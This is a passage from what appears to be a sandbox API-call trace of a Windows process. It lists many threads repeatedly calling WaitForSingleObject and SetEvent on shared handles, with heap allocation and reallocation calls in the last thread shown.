0x0 [0065.608] SetEvent (hEvent=0x344) returned 1 [0065.608] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.002] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.198] SetEvent (hEvent=0x344) returned 1 [0066.198] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 70 os_tid = 0xbec [0063.144] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.440] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.234] SetEvent (hEvent=0x344) returned 1 [0064.234] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.603] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.986] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.433] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.597] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.989] SetEvent (hEvent=0x344) returned 1 [0065.989] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.188] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 71 os_tid = 0xfb8 [0063.145] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.459] SetEvent (hEvent=0x344) returned 1 [0063.459] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.243] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.603] SetEvent (hEvent=0x344) returned 1 [0064.604] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.006] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.445] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.599] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.001] SetEvent (hEvent=0x344) returned 1 [0066.001] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.196] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 72 os_tid = 0xf84 [0063.145] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.459] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.243] SetEvent (hEvent=0x344) returned 1 [0064.243] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.603] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.007] SetEvent (hEvent=0x344) returned 1 [0065.007] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.445] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.599] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.001] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.196] SetEvent (hEvent=0x344) returned 1 [0066.196] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 73 os_tid = 0xd5c [0063.145] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.461] SetEvent (hEvent=0x344) returned 1 [0063.461] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.247] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.603] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.003] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.446] SetEvent (hEvent=0x344) returned 1 [0065.446] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.608] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.002] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.197] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 74 os_tid = 0xca0 [0063.145] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.460] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.247] SetEvent (hEvent=0x344) returned 1 [0064.247] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.612] SetEvent (hEvent=0x344) returned 1 [0064.612] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.009] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.456] SetEvent (hEvent=0x344) returned 1 [0065.456] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.616] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.013] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.314] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 75 os_tid = 0xd1c [0063.146] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.463] SetEvent (hEvent=0x344) returned 1 [0063.463] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.248] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.612] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.010] SetEvent (hEvent=0x344) returned 1 [0065.012] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.455] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.617] SetEvent (hEvent=0x344) returned 1 [0065.617] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.013] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.315] SetEvent (hEvent=0x344) returned 1 [0066.315] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 76 os_tid = 0xfb4 [0063.146] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.462] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.249] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.618] SetEvent (hEvent=0x344) returned 1 [0064.618] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.007] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.454] SetEvent (hEvent=0x344) returned 1 [0065.454] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.609] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.013] SetEvent (hEvent=0x344) returned 1 [0066.013] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.316] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 77 os_tid = 0xd7c [0063.146] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.462] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.250] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.617] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.008] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.454] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.609] SetEvent (hEvent=0x344) returned 1 [0065.609] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.013] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.317] SetEvent (hEvent=0x344) returned 1 [0066.317] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 78 os_tid = 0xecc [0063.146] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0063.461] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.252] SetEvent (hEvent=0x344) returned 1 [0064.252] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.618] SetEvent (hEvent=0x344) returned 1 [0064.618] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.187] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.464] SetEvent (hEvent=0x344) returned 1 [0065.464] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.618] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.021] SetEvent (hEvent=0x344) returned 1 [0066.021] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.315] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 79 os_tid = 0xe98 [0063.147] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.205] SetEvent (hEvent=0x344) returned 1 [0064.205] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.413] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.618] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.188] SetEvent (hEvent=0x344) returned 1 [0065.188] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.463] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.618] SetEvent (hEvent=0x344) returned 1 [0065.618] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.020] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.316] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 80 os_tid = 0xee0 [0063.147] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.205] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.413] SetEvent (hEvent=0x344) returned 1 [0064.413] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.618] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.024] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.455] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.609] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.012] SetEvent (hEvent=0x344) returned 1 [0066.012] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.209] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 81 os_tid = 0x324 [0063.147] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.206] SetEvent (hEvent=0x344) returned 1 [0064.206] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.416] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.629] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.224] SetEvent (hEvent=0x344) returned 1 [0065.224] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.466] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.620] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.160] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.334] SetEvent (hEvent=0x344) returned 1 [0066.334] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 82 os_tid = 0xfb0 [0063.147] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.206] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.418] SetEvent (hEvent=0x344) returned 1 [0064.418] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.628] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.188] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.465] SetEvent (hEvent=0x344) returned 1 [0065.465] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.622] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.164] SetEvent (hEvent=0x344) returned 1 [0066.164] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.335] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 83 os_tid = 0x1004 [0063.148] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.205] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.414] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.618] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.024] SetEvent (hEvent=0x344) returned 1 [0065.025] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.455] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.609] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.012] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.210] SetEvent (hEvent=0x344) returned 1 [0066.210] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 84 os_tid = 0x1008 [0063.148] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.205] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.414] SetEvent (hEvent=0x344) returned 1 [0064.414] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.627] SetEvent (hEvent=0x344) returned 1 [0064.627] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.190] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.468] SetEvent (hEvent=0x344) returned 1 [0065.468] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.643] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.162] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.335] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 85 os_tid = 0x100c [0063.148] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.213] SetEvent (hEvent=0x344) returned 1 [0064.213] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.415] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.627] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.190] SetEvent (hEvent=0x344) returned 1 [0065.190] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.467] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.643] SetEvent (hEvent=0x344) returned 1 [0065.643] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.161] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.336] SetEvent (hEvent=0x344) returned 1 [0066.336] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 86 os_tid = 0x1010 [0063.148] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.212] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.416] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.629] SetEvent (hEvent=0x344) returned 1 [0064.629] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.223] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.467] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.619] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.161] SetEvent (hEvent=0x344) returned 1 [0066.161] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.334] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 87 os_tid = 0x1014 [0063.148] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.215] SetEvent (hEvent=0x344) returned 1 [0064.215] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.428] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.970] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.227] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.579] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.962] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.178] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.347] SetEvent (hEvent=0x344) returned 1 [0066.347] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 88 os_tid = 0x1018 [0063.149] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.215] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.428] SetEvent (hEvent=0x344) returned 1 [0064.428] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.970] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.228] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.582] SetEvent (hEvent=0x344) returned 1 [0065.582] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.985] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.188] SetEvent (hEvent=0x344) returned 1 [0066.188] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.349] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 89 os_tid = 0x101c [0063.149] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.214] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.427] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.628] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.189] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.465] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.623] SetEvent (hEvent=0x344) returned 1 [0065.623] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.163] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.335] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 90 os_tid = 0x1020 [0063.149] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.213] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.427] SetEvent (hEvent=0x344) returned 1 [0064.427] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.969] SetEvent (hEvent=0x344) returned 1 [0064.969] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.225] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.479] SetEvent (hEvent=0x344) returned 1 [0065.479] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.963] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.179] SetEvent (hEvent=0x344) returned 1 [0066.179] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.350] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 91 os_tid = 0x1024 [0063.149] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.223] SetEvent (hEvent=0x344) returned 1 [0064.223] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.427] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.968] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.225] SetEvent (hEvent=0x344) returned 1 [0065.225] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.479] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.963] SetEvent (hEvent=0x344) returned 1 [0065.963] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.179] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.351] SetEvent (hEvent=0x344) returned 1 [0066.351] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 92 os_tid = 0x1028 [0063.150] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.223] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.428] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.970] SetEvent (hEvent=0x344) returned 1 [0064.971] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.226] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.580] SetEvent (hEvent=0x344) returned 1 [0065.580] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.962] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.178] SetEvent (hEvent=0x344) returned 1 [0066.178] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.346] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 93 os_tid = 0x102c [0063.150] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.224] SetEvent (hEvent=0x344) returned 1 [0064.224] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.439] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.982] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.432] SetEvent (hEvent=0x344) returned 1 [0065.433] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.580] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.984] SetEvent (hEvent=0x344) returned 1 [0065.984] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.179] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.348] SetEvent (hEvent=0x344) returned 1 [0066.348] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 94 os_tid = 0x1030 [0063.150] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.224] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.440] SetEvent (hEvent=0x344) returned 1 [0064.440] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0064.986] SetEvent (hEvent=0x344) returned 1 [0064.986] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.434] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.598] SetEvent (hEvent=0x344) returned 1 [0065.598] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0065.986] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0066.189] SetEvent (hEvent=0x344) returned 1 [0066.189] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 95 os_tid = 0x1034 [0063.394] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.394] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.394] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.394] SetEvent (hEvent=0x33c) returned 1 [0063.395] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.395] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x180) returned 0x28b0c0d3cc0 [0063.395] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1000) returned 0x28b0bbfb0b0 [0063.395] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0bbfb0b0, Size=0x2000) returned 0x28b0bbfb0b0 [0063.395] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0bbfb0b0, Size=0x4000) returned 0x28b0bbfd0c0 [0063.397] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0bbfd0c0, Size=0x8000) returned 0x28b0bc010d0 [0063.398] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.398] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1000) returned 0x28b0bc090e0 [0063.398] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0bc090e0, Size=0x2000) returned 0x28b0bc090e0 [0063.398] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0bc090e0, Size=0x4000) returned 0x28b0bbfb0b0 [0063.398] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0bbfb0b0, Size=0x8000) returned 0x28b0bc090e0 [0063.398] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.398] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1000) returned 0x28b0bc110f0 [0063.398] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0bc110f0, Size=0x2000) returned 0x28b0bc110f0 [0063.398] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0bc110f0, Size=0x4000) returned 0x28b0bbfb0b0 [0063.398] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x180) returned 0x28b08504450 [0063.398] SetEvent (hEvent=0x33c) returned 1 [0063.423] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.450] SetEvent (hEvent=0x33c) returned 1 [0063.450] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.450] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0063.450] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0bbfb0b0, Size=0x8000) returned 0x28b0bc110f0 [0063.451] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1000) returned 0x28b0bbffd00 [0063.451] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, 